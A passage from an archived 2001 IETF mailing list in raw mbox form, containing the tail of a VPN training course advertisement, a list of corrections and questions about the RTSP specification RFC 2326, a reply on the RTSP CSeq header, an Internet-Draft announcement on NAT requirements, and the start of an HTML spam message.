<DIV><BR>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;=20
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;=20
&nbsp;&nbsp;&nbsp;&nbsp; The cost to attend this course is $1100.00 CDN =
per=20
student (plus applicable taxes) <STRONG>with a 10% discount being =
applied if you=20
sign up more than one student with me at a time</STRONG>.&nbsp; This =
course=20
explores this cutting-edge networking technology and provides the =
student with a=20
complete technical review on Virtual Private Networks. The class is =
limited to=20
20 students, and&nbsp;we are expecting this&nbsp;session to sell out =
extremely=20
quickly, so time is of the essence if you plan on registering=20
either&nbsp;yourself and/or your colleagues on this course.&nbsp; </DIV>
<DIV>&nbsp;</DIV>
<DIV>Attendees please note, this course covers the=20
following:<BR></DIV></FONT></FONT></FONT></DIV>
<DIV><FONT face=3DArial size=3D2><FONT face=3DArial size=3D2><FONT=20
face=3D"Times New Roman" size=3D3>
<DIV>=B7&nbsp;What virtual private networks are</DIV>
<DIV>=B7&nbsp;What protocols, technologies, and products are used in a =
VPN=20
solution</DIV>
<DIV>=B7&nbsp;The security solutions used in VPNs</DIV>
<DIV>=B7&nbsp;What architectures and configurations to consider when =
planning a=20
VPN</DIV>
<DIV>=B7&nbsp;How encryption is used to enable information privacy</DIV>
<DIV>=B7&nbsp;How remote users and servers are authenticated with =
digital=20
certificates</DIV>
<DIV>=B7&nbsp;How tunneling protocols allow VPNs to be built over IP =
based=20
networks, including the Internet.</DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV>
<DIV>This course is aimed at Systems Engineers, Network Administrators, =
Data=20
Communication Consultants, Technical Architects and Security =
Planners.</DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV>Please review the detailed course outline below for more =
information on the=20
content being covered:</DIV>
<DIV>&nbsp;</DIV>
<DIV><U><STRONG>COURSE =
OUTLINE:</STRONG></U></DIV><STRONG><U></U></STRONG></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV>&nbsp;BACKGROUND<BR>&nbsp;<BR>=B7&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;=20
Packet and Circuit Switched=20
Networks<BR>=B7&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
The=20
Internet<BR>=B7&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
Intranets=20
and =
Extranets<BR>=B7&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
What is=20
a VPN and how is it different<BR>&nbsp;<BR>EXAMPLES OF VPN=20
USE<BR>&nbsp;<BR>=B7&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;=20
LAN-to-LAN<BR>=B7&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
Corporate=20
Intranets<BR>=B7&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
Intranet/Extranet=20
connection<BR>=B7&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
Remote=20
Access for users<BR>&nbsp;<BR>TECHNOLOGY=20
BACKGROUND<BR>&nbsp;<BR>=B7&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;=20
Network Layers=20
Explained<BR>=B7&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
Routing<BR>=B7&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
Switching<BR>&nbsp;<BR>NETWORK SECURITY=20
CONCEPTS<BR>&nbsp;<BR>=B7&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;=20
General issues and risks=20
<BR>=B7&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
Authentication<BR>=B7&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p; Access=20
control<BR>=B7&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
Confidentiality<BR>=B7&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp; Data=20
integrity<BR>=B7&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
Non-repudiation<BR>=B7&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;=20
Threat and Solutions Evaluation<BR>&nbsp;<BR>GENERAL=20
ENCRYPTION<BR>&nbsp;<BR>=B7&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;=20
Basics of =
Crypto<BR>=B7&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The=20
RSA model<BR>=B7&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
The PGP=20
model<BR>=B7&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The=20
Deffie-Hellman=20
algorithm<BR>&nbsp;=B7&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;=20
Encryption and Digital=20
Certificates<BR>=B7&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
 PKI=20
architecture and options and directory=20
issues<BR>=B7&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
Examples of=20
usage<BR>&nbsp;<BR>IPSec<BR>&nbsp;<BR>=B7&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;=20
IPSec =
architecture<BR>=B7&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
=20
Security =
Associations<BR>=B7&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
=20
ESP<BR>=B7&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
Authentication=20
Header<BR>=B7&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
Internet Key=20
Exchange =
(IKE)<BR>=B7&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
Status=20
of IPSec<BR>=B7&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
Polity=20
issues<BR>=B7&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
Issues in=20
IPSec implementation<BR>&nbsp;<BR>MESSAGE AUTHENTICATION AND=20
NON-REPUDIATION<BR>&nbsp;<BR>=B7&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;=20
Digital =
Signatures<BR>=B7&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
Message Authentication=20
Codes<BR>=B7&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
Digital=20
Timestamps<BR>=B7&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
Digital=20
Certificates<BR>=B7&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
 Examples=20
of concept<BR>&nbsp;<BR>USER=20
AUTHENTICATION<BR>&nbsp;<BR>=B7&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;=20
Authentication Servers and=20
Passwords<BR>=B7&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
Challenge=20
and Response=20
(PAP/CHAP)<BR>=B7&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
Bio=20
Metrics<BR>=B7&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
Token Cards=20
(Security =
Dynamics)<BR>=B7&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
Secure authentication servers (RADIUS, TACACS,=20
Kerberos)<BR>=B7&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
Digital=20
Certificates<BR>=B7&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
 Overview=20
Architecture and example of usage<BR></DIV>
<DIV>VPN SECURITY=20
PLATFORMS<BR>&nbsp;<BR>=B7&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;=20
Routers<BR>=B7&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
Firewalls<BR>=B7&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
Proxy=20
Servers<BR>=B7&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NAT =

Servers<BR>=B7&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
Network=20
Monitoring<BR>&nbsp;<BR>VPN TUNNELING AND ENCAPSULATING PROTOCOLS=20
<BR>&nbsp;<BR>=B7&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
How=20
tunneling works and why it is=20
used<BR>=B7&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
PPTP<BR>=B7&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
L2TP<BR>=B7&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
L2F<BR>=B7&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
LAN-to-LAN=20
tunneling<BR>=B7&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
Tunneling=20
over IP<BR>=B7&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
Routing=20
Issues<BR>=B7&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
Examples of=20
usage<BR>&nbsp;<BR>PLANNING A VPN <BR></DIV>
<DIV>=B7&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
Determining=20
needs<BR>=B7&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
Choosing the=20
architecture and=20
topology<BR>=B7&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
Setting=20
standards<BR>=B7&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
Planning=20
for legacy, non-compatible or =91non-standard=92 applications and=20
platforms<BR>=B7&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
Picking=20
solutions<BR>=B7&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
Planning=20
for related projects (directories, PKI,=20
etc.)<BR>=B7&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
Defining=20
Quality of =
service<BR>=B7&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
Budgeting issues<BR>&nbsp;<BR>VPN OPERATION <BR></DIV>
<DIV>=B7&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Network =
management=20
consideration<BR>=B7&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;=20
Administration and troubleshooting=20
issues<BR>=B7&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
Integration=20
with technical support services<BR>&nbsp;<BR>CONCLUSIONS<BR></DIV>
<DIV>=B7&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Pros and =
Cons of a=20
VPN<BR>=B7&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; VPN=20
futures<BR>&nbsp;</DIV>
<DIV>
<DIV><FONT face=3DArial size=3D2></FONT>To find out more about this =
course, to=20
discuss in-house training solutions for a group at your facility, or to=20
register, please call me directly at 613-667-5063.<BR><BR>Have a great =
day!<BR>
<DIV>&nbsp;</DIV>
<DIV>Regards,</DIV>
<DIV>&nbsp;</DIV>
<DIV><BR>Alan P. Daly<BR>Sales Representative<BR>Northland Systems =
Training=20
Inc.<BR>255 Albert St. 5th Floor<BR>Ottawa, ON<BR>K1P-6A9<BR>Direct =
Dial: (613)=20
667-5063<BR>Fax:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;(613)=20
667-5098<BR>Check Out Our Website at <A=20
href=3D"http://www.northlandelearning.com">http://www.northlandelearning.=
com</A></DIV>
<DIV>&nbsp;</DIV>
<DIV>--------------------------------------------------------------------=
--------<BR>"Changing=20
learning from an event to a life long process"</DIV>
<DIV>&nbsp;</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;=20
KNOW YOUR=20
WAY<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
 visit=20
<A=20
href=3D"http://www.northlandelearning.com">http://www.northlandelearning.=
com</A><BR>--------------------------------------------------------------=
--------------</DIV></DIV></DIV></FONT></FONT></FONT></DIV></FONT></FONT>=
</DIV></FONT></DIV></BODY></HTML>

------=_NextPart_000_0584_01C14103.227B5560--


From confctrl-owner  Thu Sep 20 05:32:46 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id FAA29616
	for confctrl-outgoing; Thu, 20 Sep 2001 05:32:46 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id FAA29611
	for <confctrl@zephyr.isi.edu>; Thu, 20 Sep 2001 05:32:45 -0700 (PDT)
Received: from penguin-ext.wise.edt.ericsson.se (penguin-ext.wise.edt.ericsson.se [194.237.142.110])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f8KCWtv21173
	for <confctrl@ISI.EDU>; Thu, 20 Sep 2001 05:32:56 -0700 (PDT)
Received: from era-t.ericsson.se (koff.ericsson.se [147.214.173.137])
	by penguin.wise.edt.ericsson.se (8.11.0/8.10.1/WIREfire-1.3) with SMTP id f8KCWsv04787
	for <confctrl@ISI.EDU>; Thu, 20 Sep 2001 14:32:54 +0200 (MEST)
Received: from era-t.ericsson.se by era-t.ericsson.se (SMI-8.6/LME-DOM-2.2.5(ERA/T))
	id OAA25203; Thu, 20 Sep 2001 14:32:53 +0200
Message-ID: <3BA9E1F5.60942542@era-t.ericsson.se>
Date: Thu, 20 Sep 2001 14:32:53 +0200
From: Magnus Westerlund <magnus.westerlund@era-t.ericsson.se>
X-Mailer: Mozilla 4.74 [en] (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: confctrl@ISI.EDU
Subject: RFC 2326 RTSP comments
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi,

I have found a number of issues realted to RTSP, RFC 2326. They belong
to three
categories; Errors in specification, these I belive are real errors.
Requests
for clarfications of the specification, contains issues that could be
better
explained and/or should be defined. Proposals for improvement, contains
my
suggestion on what would make the specification better.

It is possible that some has been raised before, but as the work to move
RTSP to Draft standard has started I believe it to be good to bring up
all known problems.

Errors in specification
-----------------------
1. Several references are misorderd.

2. Erronous example on page 36 last paragraph. Illegal values of range
header,
  The call for pause: range 16 will result in Illegal range response.

3. Page 38 first example: Example missing session header in response.
Should not the
  client respond with what session id the respond relates to, as the
request
  contained one.

4. Table with RTSP headers page 45, contains the following errors?:
  - A session header is not required when using describe.
  - Proxy Authenticate is missing all values on what it is.
  - The transport header is specifed as required in 12.0 table, but
    the text in 12.39 says it MAY be included in requests and responses.

5. Page 59, the "source:" paragrah what is the intention? Is it just
missing in the
  BNF for transport headers?

6. Page 61, Transport BNF: Should not multicast/unicast be proceeded by
a ";"? Is
  multiple entries of the same type allowed? Are there any requirement
on having
  multicast/unicast first?

7. Section 3.4 definition of session-id should it not be:
  session-id   =   8*( ALPHA | DIGIT | safe )
  instead of 1*?

8. SDP examples in spec is in wrong order:
  The SDP specifcation requires a certain order between the type names,
see
  section 6 in RFC 2327.

 14.4 Live Media Presentation Using Multicast
 ...
 m=audio 3456 RTP/AVP 0
 a=control:rtsp://live.example.com/concert/audio
 c=IN IP4 224.2.0.1/16

 and

 C.2 Aggregate Control Not Available
 ...
 s=I came from a web page
 t=0 0
 c=IN IP4 0.0.0.0

9. Transport ABNF, mode line, The "=" lacks " around it. There are also
  unclearities if you could actually have mode=""PLAY","RECORD"" ?
Anyway it
  need clarification

10. Page 68 example with transport header uses <mode=play> which does
not include
  " which the ABNF says it should be. Correct according to ABNF is
mode="PLAY"

11. npt-range sec 3.6 lacks "npt=" in the begining of the definition.

12. Sec 12.33 RTP info syntax of RTP info is wrong, compared to the
example. The
  current syntax specifec a comma separated list of URLS then follows
the
  parameters. Should it not be like this?
  RTP-Info        = "RTP-Info" ":" 1#rtp-info-spec
  rtp-info-spec   = stream-url 1*parameter
  stream-url      = "url" "=" url
  parameter       = ";" "seq" "=" 1*DIGIT | ";" "rtptime" "=" 1*DIGIT


Requests for clarfications of the specification
-----------------------------------------------
13. HTTP references
  RFC 2326 reference RFC 2068 which has been obsoleted by RFC 2616.
  How should you relate to the new RFC, and what to do with removed
header
  headers?

  Following things are missing in RFC2616
  - public header

14. What is the definition of 1\# in the BNF? I can't find it in either
RFC
  2068, 2234, 2326, or 2616.

15. Server can't respond to a bad request if no sequence number is
present in the
  request. Resulting in that the client does not know that the server
has
  received it and has issues. Please clarify when a server is allowed to
send
  response to bad request.

16. How shall the pause point be specifed? Is the only correct way to do

  it "(start time)- "? The use of range with time? It seem to be
unecessary as
  play with range works instead.

17. When you queue items that has a activation time, does that override
the order
  the events are queued? Play(1) has time A, Play(2) has time B time A
are
  after time B. Assumption on how it work: First Play(2) activated at
time B,
  then at time B Play(1) tries to start, if already playing, it is
queued as a
  normal untimed event.

18. NPT time in range is allowed to be specifed as "-nptime". No other
timeformat
  allows that, why?

19. Which connection models are required. Is non persitent TCP
connections a MUST
  support, or only RECOMMENDED?

20. A single media stream is playing. Then an aggregated control which
include
  this stream is issued a play. How should this be interpreted? We use
that it
  is queue and waits until all single streams under that aggregated
control finish their play.

Proposals for improvement
-------------------------

21. A complete ABNF of the RTSP specification could be collected in a
Appendix.
  This would make it easier to find how things are defined when doing
  implementation of the specification.

22. Shouldn't the example of RTP-Info page 56 contain timestamps?


Cheers

Magnus Westerlund

Audio Technology, Ericsson Research
----------------------------------------------------------------------
Ericsson Radio Systems AB  | Phone +46 8 4048287
Torshamsgatan 23           | Fax   +46 8 7575550
S-164 80 Stockholm, Sweden | mailto: magnus.westerlund@era-t.ericsson.se




From confctrl-owner  Thu Sep 20 06:57:20 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id GAA03765
	for confctrl-outgoing; Thu, 20 Sep 2001 06:57:20 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id GAA03760
	for <confctrl@zephyr.isi.edu>; Thu, 20 Sep 2001 06:57:19 -0700 (PDT)
Received: from albatross-ext.wise.edt.ericsson.se (albatross-ext.wise.edt.ericsson.se [194.237.142.116])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f8KDvUv09259
	for <confctrl@ISI.EDU>; Thu, 20 Sep 2001 06:57:30 -0700 (PDT)
Received: from era-t.ericsson.se (koff.ericsson.se [147.214.173.137])
	by albatross.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with SMTP id f8KDvSK00179;
	Thu, 20 Sep 2001 15:57:28 +0200 (MEST)
Received: from era-t.ericsson.se by era-t.ericsson.se (SMI-8.6/LME-DOM-2.2.5(ERA/T))
	id PAA29617; Thu, 20 Sep 2001 15:57:27 +0200
Message-ID: <3BA9F5C7.591C48F@era-t.ericsson.se>
Date: Thu, 20 Sep 2001 15:57:27 +0200
From: Magnus Westerlund <magnus.westerlund@era-t.ericsson.se>
X-Mailer: Mozilla 4.74 [en] (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Faerber Tobias ICM MP PO8 RD MCH83 <Tobias.Faerber@mch.siemens.de>
CC: "'avt@ietf.org'" <avt@ietf.org>, confctrl@ISI.EDU
Subject: Re: [AVT] RTSP: is CSeq header part of general header ?
References: <07B0CDE3B76AD31190F700508B5D5D1DAA278C@mchg9eba.mchh.siemens.de>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi,

You posted to the wrong group, this belongs to MMUSIC, including them in the
answer.

But the answer to your questions are:
Cseq is a general header, see table in begining of section 12. All of the
definition is in section 12.17.
The sender of the request is responsible for using unique identifier for all its
request sent to this address.
As it is a general header it goes in the general-header part.

Hope this solved it for you.

Magnus

Faerber Tobias ICM MP PO8 RD MCH83 wrote:

> Hi,
> in RTSP (RFC2326) I cannot find, intp which header class the CSeq header
> field can be found. neither in the general header description (ther you only
> find a link to the HTTP, where CSeq isn't existing) nor in the request or
> response header description it can be found. I only find the description in
> 12.17 of RTSP protocol.
> To which number has it to be initialised, is it done only by the client? is
> there a special localisation in a request or response where it has to occur
> ? because if you look at BNF a request for example is described with
> request =request-line
>         *(general-header
>           | request-header
>                 ....
>
> so according to this any header fiel can occur anywhere, so the same with
> CSeq ? in all examples I only find it in the second line after the request
> or response line
>
> can anybody help me out ?
> Thanx in advance
>
> > Faerber Tobias                Siemens AG
> ICM MP PO8 RD MCH83     Information and Communication Mobile
>
> _______________________________________________
> Audio/Video Transport Working Group
> avt@ietf.org
> http://www1.ietf.org/mailman/listinfo/avt

--

Magnus Westerlund

Audio Technology, Ericsson Research
----------------------------------------------------------------------
Ericsson Radio Systems AB  | Phone +46 8 4048287
Torshamsgatan 23           | Fax   +46 8 7575550
S-164 80 Stockholm, Sweden | mailto: magnus.westerlund@era-t.ericsson.se



From confctrl-owner  Fri Sep 21 04:03:15 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id EAA14889
	for confctrl-outgoing; Fri, 21 Sep 2001 04:03:15 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id EAA14884
	for <confctrl@zephyr.isi.edu>; Fri, 21 Sep 2001 04:03:14 -0700 (PDT)
Received: from ietf.org (odin.ietf.org [132.151.1.176])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f8LB3Pv22946
	for <confctrl@isi.edu>; Fri, 21 Sep 2001 04:03:25 -0700 (PDT)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA19210;
	Fri, 21 Sep 2001 07:04:02 -0400 (EDT)
Message-Id: <200109211104.HAA19210@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: confctrl@ISI.EDU
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-mmusic-natreq4udp-00.txt
Date: Fri, 21 Sep 2001 07:04:02 -0400
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Multiparty Multimedia Session Control Working Group of the IETF.

	Title		: Short term NAT requirements for UDP based peer-to-peer
                          applications
	Author(s)	: C. Huitema
	Filename	: draft-ietf-mmusic-natreq4udp-00.txt
	Pages		: 6
	Date		: 20-Sep-01
	
During the next few years, as the IPv4 address space moves toward 
exhaustion, it is likely that the deployment of NAT will accelerate. 
This draft presents the requirements that NAT devices must meet in 
order to enable use of UDP by peer-to-peer applications. The 
requirement can be summed up by the need to avoid gratuitous 
filtering and too short timers.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-mmusic-natreq4udp-00.txt

To remove yourself from the IETF Announcement list, send a message to 
ietf-announce-request with the word unsubscribe in the body of the message.

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mmusic-natreq4udp-00.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-ietf-mmusic-natreq4udp-00.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<20010920134016.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mmusic-natreq4udp-00.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mmusic-natreq4udp-00.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<20010920134016.I-D@ietf.org>

--OtherAccess--

--NextPart--



From confctrl-owner  Fri Sep 21 21:45:33 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id VAA21892
	for confctrl-outgoing; Fri, 21 Sep 2001 21:45:33 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id VAA21887
	for <confctrl@zephyr.isi.edu>; Fri, 21 Sep 2001 21:45:32 -0700 (PDT)
Received: from laxmls04.socal.rr.com (laxmls04.socal.rr.com [24.30.163.18])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f8M4jSv23033;
	Fri, 21 Sep 2001 21:45:28 -0700 (PDT)
Received: from _[18.165.80.42]_by (sc-24-160-56-146.socal.rr.com [24.160.56.146])
	by laxmls04.socal.rr.com (8.11.4/8.11.3) with SMTP id f8M4jQm06826;
	Fri, 21 Sep 2001 21:45:26 -0700 (PDT)
Message-Id: <200109220445.f8M4jQm06826@laxmls04.socal.rr.com>
Received: from  [94.100.239.36] by _[18.165.80.42]_by with SMTP id A34C14E1 Fri, 21 Sep 2001 21:37:42 PDT
From: <AccountInfo@bid4placement.com>
Subject: Your Bid 4 Placement Account          
Mime-Version: 1.0
Content-Type: text/html; charset="us-ascii"
Date: Fri, 21 Sep 2001 21:54:58
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk









<Base Href="http://www.bid4placement.com/index.htm">
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<!-- saved from url=(0031)http://www.bidforplacement.com/ -->
